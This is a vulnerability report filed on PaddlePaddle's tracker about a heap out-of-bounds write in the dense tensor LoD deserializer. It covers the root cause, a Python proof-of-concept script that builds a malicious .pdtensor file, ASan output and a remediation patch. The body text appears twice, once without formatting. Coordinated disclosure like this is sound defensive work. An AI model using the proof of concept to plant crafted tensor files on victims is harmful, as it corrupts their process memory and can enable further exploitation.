bug描述 Describe the Bug
- Affected component:
paddle/phi/core/framework/dense_tensor_serialize.cc (DeserializeFromStream)
- Reachable via:
paddle.base.core.load_dense_tensor(path) (the same phi::DeserializeFromStream used on Paddle's tensor/weight loading paths)
- Severity: High
- CVSS 3.1: 7.8 (
AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H; 8.1 if the tensor is delivered over the network, AV:N)
- CWE: CWE-787 Out-of-bounds Write / CWE-190 Integer-related length error
- Status: Confirmed via AddressSanitizer; framework reachability confirmed on
paddlepaddle==3.3.0
- Affected versions: v3.3.0 release tag and current
develop HEAD (verified)
Affected Component
File: paddle/phi/core/framework/dense_tensor_serialize.cc (line 120 on develop HEAD)
Function: phi::DeserializeFromStream(std::istream&, DenseTensor*, ...)
Vulnerable Code
// the 2nd field, LoD information
uint64_t lod_level = 0;
is.read(reinterpret_cast<char *>(&lod_level), sizeof(lod_level));
auto &lod = *tensor->mutable_lod();
lod.resize(lod_level);
for (uint64_t i = 0; i < lod_level; ++i) {
uint64_t size = 0;
is.read(reinterpret_cast<char *>(&size), sizeof(size)); // attacker-controlled
std::vector<size_t> tmp(size / sizeof(size_t)); // (size/8)*8 bytes
is.read(reinterpret_cast<char *>(tmp.data()),
static_cast<std::streamsize>(size)); // reads FULL `size` -> OOB
lod[i] = tmp;
}
Root Cause
The destination buffer tmp holds size / sizeof(size_t) elements = (size/8)*8 bytes, but
the subsequent read consumes the full size bytes. Whenever size is not a multiple of
sizeof(size_t) (8), the read writes up to 7 bytes past the heap allocation. The allocation
size and read length are derived from the same value by two different formulas.
Proof of Concept
Framework reachability — craft a serialized tensor with a truncating LoD length and load
it through the framework tensor loader:
import struct, tempfile, os
import paddle.base.core as core
lod_byte_size = 100 # 100 % 8 == 4 -> 96-byte buffer, 100-byte read
blob = struct.pack("<I", 0) # version = 0
blob += struct.pack("<Q", 1) # lod_level = 1
blob += struct.pack("<Q", lod_byte_size) # level 0 size (attacker-controlled)
blob += b"\x41" * lod_byte_size
p = os.path.join(tempfile.mkdtemp(), "malicious_weights.pdtensor")
open(p, "wb").write(blob)
core.load_dense_tensor(p) # reaches DeserializeFromStream -> overflow
On the (uninstrumented) release wheel the ≤7-byte overflow corrupts adjacent heap silently;
the loader then reaches the following field-read, confirming the vulnerable LoD block ran.
Evidence
AddressSanitizer proof (line-for-line excerpt of DeserializeFromStream, fed the exact bytes
above):
==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x508000000080 ...
WRITE of size 100 at 0x508000000080 thread T0
#0 memcpy
#2 std::istream::read(char*, long)
#3 DeserializeFromStream_LoD dense_tensor_lod_harness.cpp:41
0x508000000080 is located 0 bytes after 96-byte region [0x508000000020,0x508000000080)
allocated by thread T0 here:
#0 operator new(unsigned long)
#6 std::vector<unsigned long>::vector(...)
#7 DeserializeFromStream_LoD dense_tensor_lod_harness.cpp:40
SUMMARY: AddressSanitizer: heap-buffer-overflow in memcpy
exploit_dense_tensor_lod.py
validate.py
asan_crash.txt
How to Reproduce
pip install paddlepaddle==3.3.0
- Run the PoC above → it writes
malicious_weights.pdtensor and loads it via
core.load_dense_tensor, reaching the vulnerable LoD parse.
- For a deterministic in-memory-safety trace, compile the exact source-excerpt with
AddressSanitizer (g++ -fsanitize=address ...), or replay the generated
malicious_weights.pdtensor on a cmake -DWITH_ASAN=ON build of Paddle.
Impact / Real-World Scenario
Serialized tensors / weight blobs are exchanged constantly (checkpoints, model mirrors,
artifact stores, parameter transfer). A victim who loads an attacker-supplied serialized
tensor triggers a heap buffer overflow write with attacker-supplied bytes while the LoD
header is parsed — before any tensor payload is processed. Adjacent heap metadata/objects can
be corrupted, leading to crashes and, depending on allocator/heap layout, potential further
exploitation.
Suggested Remediation
Validate the length before allocating/reading:
uint64_t size = 0;
is.read(reinterpret_cast<char*>(&size), sizeof(size));
PADDLE_ENFORCE_EQ(size % sizeof(size_t), 0, ...); // reject truncating sizes
PADDLE_ENFORCE_EQ(is.good(), true, ...);
std::vector<size_t> tmp(size / sizeof(size_t));
is.read(reinterpret_cast<char*>(tmp.data()), static_cast<std::streamsize>(size));
Also bound lod_level and size against the remaining stream length.
Environment
- PaddlePaddle 3.3.0 (CPU wheel) and
develop HEAD (source verified)
- Python 3.12, Ubuntu 24.04, g++ 13 + AddressSanitizer
CC: @luotao1
其他补充信息 Additional Supplementary Information
No response
bug描述 Describe the Bug
paddle/phi/core/framework/dense_tensor_serialize.cc(DeserializeFromStream)paddle.base.core.load_dense_tensor(path)(the samephi::DeserializeFromStreamused on Paddle's tensor/weight loading paths)AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H; 8.1 if the tensor is delivered over the network,AV:N)paddlepaddle==3.3.0developHEAD (verified)Affected Component
Vulnerable Code
Root Cause
The destination buffer
tmpholdssize / sizeof(size_t)elements =(size/8)*8bytes, butthe subsequent read consumes the full
sizebytes. Wheneversizeis not a multiple ofsizeof(size_t)(8), the read writes up to 7 bytes past the heap allocation. The allocationsize and read length are derived from the same value by two different formulas.
Proof of Concept
Framework reachability — craft a serialized tensor with a truncating LoD length and load
it through the framework tensor loader:
On the (uninstrumented) release wheel the ≤7-byte overflow corrupts adjacent heap silently;
the loader then reaches the following field-read, confirming the vulnerable LoD block ran.
Evidence
AddressSanitizer proof (line-for-line excerpt of
DeserializeFromStream, fed the exact bytesabove):
exploit_dense_tensor_lod.py
validate.py
asan_crash.txt
How to Reproduce
pip install paddlepaddle==3.3.0malicious_weights.pdtensorand loads it viacore.load_dense_tensor, reaching the vulnerable LoD parse.AddressSanitizer (
g++ -fsanitize=address ...), or replay the generatedmalicious_weights.pdtensoron acmake -DWITH_ASAN=ONbuild of Paddle.Impact / Real-World Scenario
Serialized tensors / weight blobs are exchanged constantly (checkpoints, model mirrors,
artifact stores, parameter transfer). A victim who loads an attacker-supplied serialized
tensor triggers a heap buffer overflow write with attacker-supplied bytes while the LoD
header is parsed — before any tensor payload is processed. Adjacent heap metadata/objects can
be corrupted, leading to crashes and, depending on allocator/heap layout, potential further
exploitation.
Suggested Remediation
Validate the length before allocating/reading:
Also bound
lod_levelandsizeagainst the remaining stream length.Environment
developHEAD (source verified)CC: @luotao1
其他补充信息 Additional Supplementary Information
No response